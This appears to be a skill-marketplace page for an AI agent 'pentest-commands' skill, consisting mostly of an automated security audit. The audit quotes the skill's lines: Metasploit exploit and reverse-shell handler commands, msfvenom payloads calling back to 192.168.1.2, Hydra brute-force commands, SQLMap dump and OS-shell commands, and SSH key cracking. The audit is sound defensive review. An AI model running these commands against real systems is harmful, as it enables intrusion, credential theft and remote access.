📦
content-creator
88Create Brand-Consistent Marketing Content
Marketing teams need content that stays consistent across channels. This skill helps plan, write, analyze, and optimize content for brand voice and SEO.
Writing & Content View
Skills pentest-commands
📦
pentest-commands
v1.1 Content revision r1 Critical ⚙️ External commands🌐 Network access📁 Filesystem access
Review Penetration Testing Command References
Security teams need quick references for authorized assessments. This skill summarizes common penetration testing commands and tool workflows.
Supports: Claude Codex Code(CC)
Do not auto-install this skill.
The canonical policy requires operator review before any installation action.
Install with my Agent
Copy this request to your Agent. It includes the canonical Skill page and manifest.
Agent request
Review the Skillstore skill "pentest-commands" from https://skillstore.io/skills/sickn33-pentest-commands.md and its manifest at https://skillstore.io/api/skills/sickn33-pentest-commands/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Your Agent should still show its plan and request any confirmation required by the security policy.
Agent-readable resources
Use these links when an AI agent, crawler, or script needs clean context instead of reading the full page.
Test it
Using "pentest-commands". Explain the safe order for an authorized lab assessment.
Expected outcome:
Start with scope confirmation, then discovery, service review, controlled validation, evidence capture, and remediation notes.
Using "pentest-commands". Identify risky command categories in this reference.
Expected outcome:
- Exploit framework usage needs explicit authorization and lab isolation.
- Credential attack examples need rate limits and account lockout controls.
- Payload generation examples should be removed from public marketplace content.
Using "pentest-commands". Summarize how to make the skill safer for publication.
Expected outcome:
Keep high-level tool explanations, remove runnable exploit chains, and add authorization, scope, and lab-only safeguards.
Security Audit
Criticalv4 • 7/7/2026 Open versioned report
The skill is a penetration testing command reference with Nmap, Metasploit, msfvenom, SQLMap, Hydra, John the Ripper, Aircrack-ng, and Nikto examples. Markdown fence and filesystem detections are false positives, but the substantive guidance confirms high and critical risk for scanning, exploitation, credential attacks, payload generation, and data extraction.
1
Files scanned
439
Lines analyzed
99
Review items
0
False positives ignored
Confirmed security concerns (48)
Critical
SSH private key file
ssh2john id_rsa > ssh_hash.txt
The command processes an SSH private key file for password cracking. No key material is embedded, but the workflow enables credential compromise if misused.
Critical
Metasploit framework
description: This skill should be used when the user asks to "run pentest commands", "scan with nmap
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
Critical
Metasploit framework
### 2. Metasploit Commands
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
Critical
Metasploit framework
# Launch Metasploit
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
Critical
Metasploit framework
set PAYLOAD windows/meterpreter/reverse_tcp
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
Critical
Metasploit framework
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
Critical
Metasploit framework
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
Critical
Metasploit framework
# Export to Metasploit
The skill explicitly documents Metasploit exploit and payload workflows. These commands can enable exploitation or reverse shell access outside an authorized lab.
Show all 48 confirmed findings
Critical
Exploit Execution and Reverse Shell Payloads
The skill provides runnable Metasploit exploit chains and msfvenom reverse shell payload generation examples. This can enable unauthorized code execution or remote access outside an approved lab.
The cited lines contain direct exploit invocations and reverse shell payload commands. The intent is explicit offensive execution, not only tool description.
High
Malware type keywords
# vsftpd backdoor
The line references a backdoor exploit module in an executable Metasploit workflow. The surrounding section is offensive exploit guidance, not a benign mention.
High
Malware type keywords
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
The line references a backdoor exploit module in an executable Metasploit workflow. The surrounding section is offensive exploit guidance, not a benign mention.
High
System reconnaissance
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
The command targets a specific wireless network for capture. In context with the following deauthentication and cracking steps, it supports intrusive wireless assessment activity.
High
Network scanning tools
description: This skill should be used when the user asks to "run pentest commands", "scan with nmap
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
### 1. Nmap Commands
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sP 192.168.1.0/24
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sL 192.168.1.0/24
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sn 192.168.1.0/24
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sS 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sT 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sU 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -p- 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -p 22,80,443 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sV 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -O 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -A 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -Pn 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap --script vuln 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap --script smb-enum-shares -p 445 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap --script http-enum -p 80 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap --script smb-vuln-ms17-010 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap --script smb-vuln-ms08-067 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap --script ssh-brute -p 22 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap --script ftp-anon 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap --script dns-brute 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -p80 --script http-methods 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -p80 --script http-headers 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap --script http-sql-injection -p 80 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sX 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sA 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sW 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap --traceroute 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -F 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sV -sC -A -p- 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sV -T4 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Network scanning tools
nmap -sV --script vuln 192.168.1.1
The line is part of a runnable Nmap scanning workflow for host discovery, enumeration, or vulnerability probing. Such commands can affect real networks without strict authorization.
High
Credential Brute Force and Password Cracking Guidance
The skill includes Hydra brute force commands and John the Ripper workflows for cracking hashes and SSH key passphrases. These examples can support credential compromise if misused.
The lines explicitly show service login brute forcing and password cracking commands. They are high-risk even though lab use is possible.
High
Database Dumping and OS Shell Guidance
The SQLMap section includes database dump and OS shell examples. These commands can extract sensitive data or gain command execution on a vulnerable target.
The cited commands directly request data dumping and OS shell behavior. This is clear exploitation guidance rather than passive testing.
High
Wireless Deauthentication Attack Guidance
The wireless section includes a deauthentication attack and WPA handshake cracking workflow. This can disrupt networks and support unauthorized wireless access attempts.
The cited lines combine target capture, deauthentication, and handshake cracking. The workflow is intrusive and can disrupt wireless clients.
Capability review items (99)
These are real local capabilities that may be expected for this skill, so they require review but are not counted as confirmed malicious behavior.
High
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
The SQLMap example includes database dumping or OS shell access. These actions can directly expose data or execute commands on a target.
High
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
The SQLMap example includes database dumping or OS shell access. These actions can directly expose data or execute commands on a target.
High
Hardcoded URL
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded URL
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded URL
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded URL
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
The example chains Nikto and SQLMap against a web target. This is active web vulnerability testing and database enumeration guidance.
High
Hardcoded IP address
nmap -sP 192.168.1.0/24
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sL 192.168.1.0/24
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sn 192.168.1.0/24
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sS 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sT 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sU 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -p- 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -p 22,80,443 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sV 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -O 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -A 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -Pn 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap --script vuln 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap --script smb-enum-shares -p 445 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap --script http-enum -p 80 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap --script smb-vuln-ms17-010 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap --script smb-vuln-ms08-067 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap --script ssh-brute -p 22 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap --script ftp-anon 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap --script dns-brute 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -p80 --script http-methods 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -p80 --script http-headers 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap --script http-sql-injection -p 80 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sX 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sA 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sW 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap --traceroute 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
set RHOST 192.168.1.1
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.t
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.t
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
The hardcoded address appears inside exploit, scanner, handler, or payload generation commands. The context supports offensive Metasploit activity.
High
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
The SQLMap example includes database dumping or OS shell access. These actions can directly expose data or execute commands on a target.
High
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
The SQLMap example includes database dumping or OS shell access. These actions can directly expose data or execute commands on a target.
High
Hardcoded IP address
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded IP address
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
The SQLMap example performs active web injection testing against a target URL. This can be intrusive without authorization and scope controls.
High
Hardcoded IP address
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
High
Hardcoded IP address
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
High
Hardcoded IP address
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
High
Hardcoded IP address
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
High
Hardcoded IP address
hydra -l admin -P passwords.txt smb://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
High
Hardcoded IP address
hydra -l admin -P passwords.txt rdp://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
High
Hardcoded IP address
hydra -l root -P passwords.txt mysql://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
High
Hardcoded IP address
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
The example uses Hydra to perform password guessing against network services. This is a credential attack workflow when used outside an approved test.
High
Hardcoded IP address
nmap -F 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sV -sC -A -p- 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sV -T4 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
Hardcoded IP address
nmap -sV --script vuln 192.168.1.1
The hardcoded address appears in a runnable Nmap scan or vulnerability probe. Network scanning can be disruptive or unauthorized if copied directly.
High
FTP protocol
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
The protocol URL appears in Hydra brute force examples. These commands attempt credential guessing against network services and require strict authorization.
High
SSH protocol URL
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
The protocol URL appears in Hydra brute force examples. These commands attempt credential guessing against network services and require strict authorization.
High
SSH protocol URL
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
The protocol URL appears in Hydra brute force examples. These commands attempt credential guessing against network services and require strict authorization.
Medium
Hardcoded URL
nikto -h http://192.168.1.1
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded URL
nikto -h http://192.168.1.1 -C all
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded URL
nikto -h http://192.168.1.1 -output report.html
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded URL
nikto -h http://192.168.1.1 -Plugins robots
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded URL
nikto -h http://192.168.1.1 -Plugins shellshock
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded URL
nikto -h http://192.168.1.1 -Plugins heartbleed
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded URL
nikto -h http://192.168.1.1 -Plugins ssl
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded URL
nikto -h http://192.168.1.1 -Format msf+
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded URL
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded IP address
nikto -h http://192.168.1.1
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded IP address
nikto -h http://192.168.1.1 -C all
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded IP address
nikto -h http://192.168.1.1 -output report.html
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded IP address
nikto -h http://192.168.1.1 -Plugins robots
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded IP address
nikto -h http://192.168.1.1 -Plugins shellshock
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded IP address
nikto -h http://192.168.1.1 -Plugins heartbleed
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded IP address
nikto -h http://192.168.1.1 -Plugins ssl
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded IP address
nikto -h http://192.168.1.1 -Format msf+
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Medium
Hardcoded IP address
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
The Nikto example performs active web vulnerability scanning against a target URL. It is legitimate in an approved test but risky as public command guidance.
Risk Factors
⚙️ External commands (37)
SKILL.md:37-46 SKILL.md:46-50 SKILL.md:50-65 SKILL.md:65-69 SKILL.md:69-81 SKILL.md:81-85 SKILL.md:85-118 SKILL.md:118-122 SKILL.md:122-134 SKILL.md:134-140 SKILL.md:140-161 SKILL.md:161-165 SKILL.md:165-183 SKILL.md:183-187 SKILL.md:187-205 SKILL.md:205-209 SKILL.md:209-212 SKILL.md:212-216 SKILL.md:216-234 SKILL.md:234-238 SKILL.md:238-259 SKILL.md:259-263 SKILL.md:263-290 SKILL.md:290-294 SKILL.md:294-318 SKILL.md:318-322 SKILL.md:322-344 SKILL.md:344-348 SKILL.md:348-363 SKILL.md:363-367 SKILL.md:367-382 SKILL.md:382-388 SKILL.md:388-397 SKILL.md:397-421 SKILL.md:421-423 SKILL.md:423-427 SKILL.md:427-429
🌐 Network access (101)
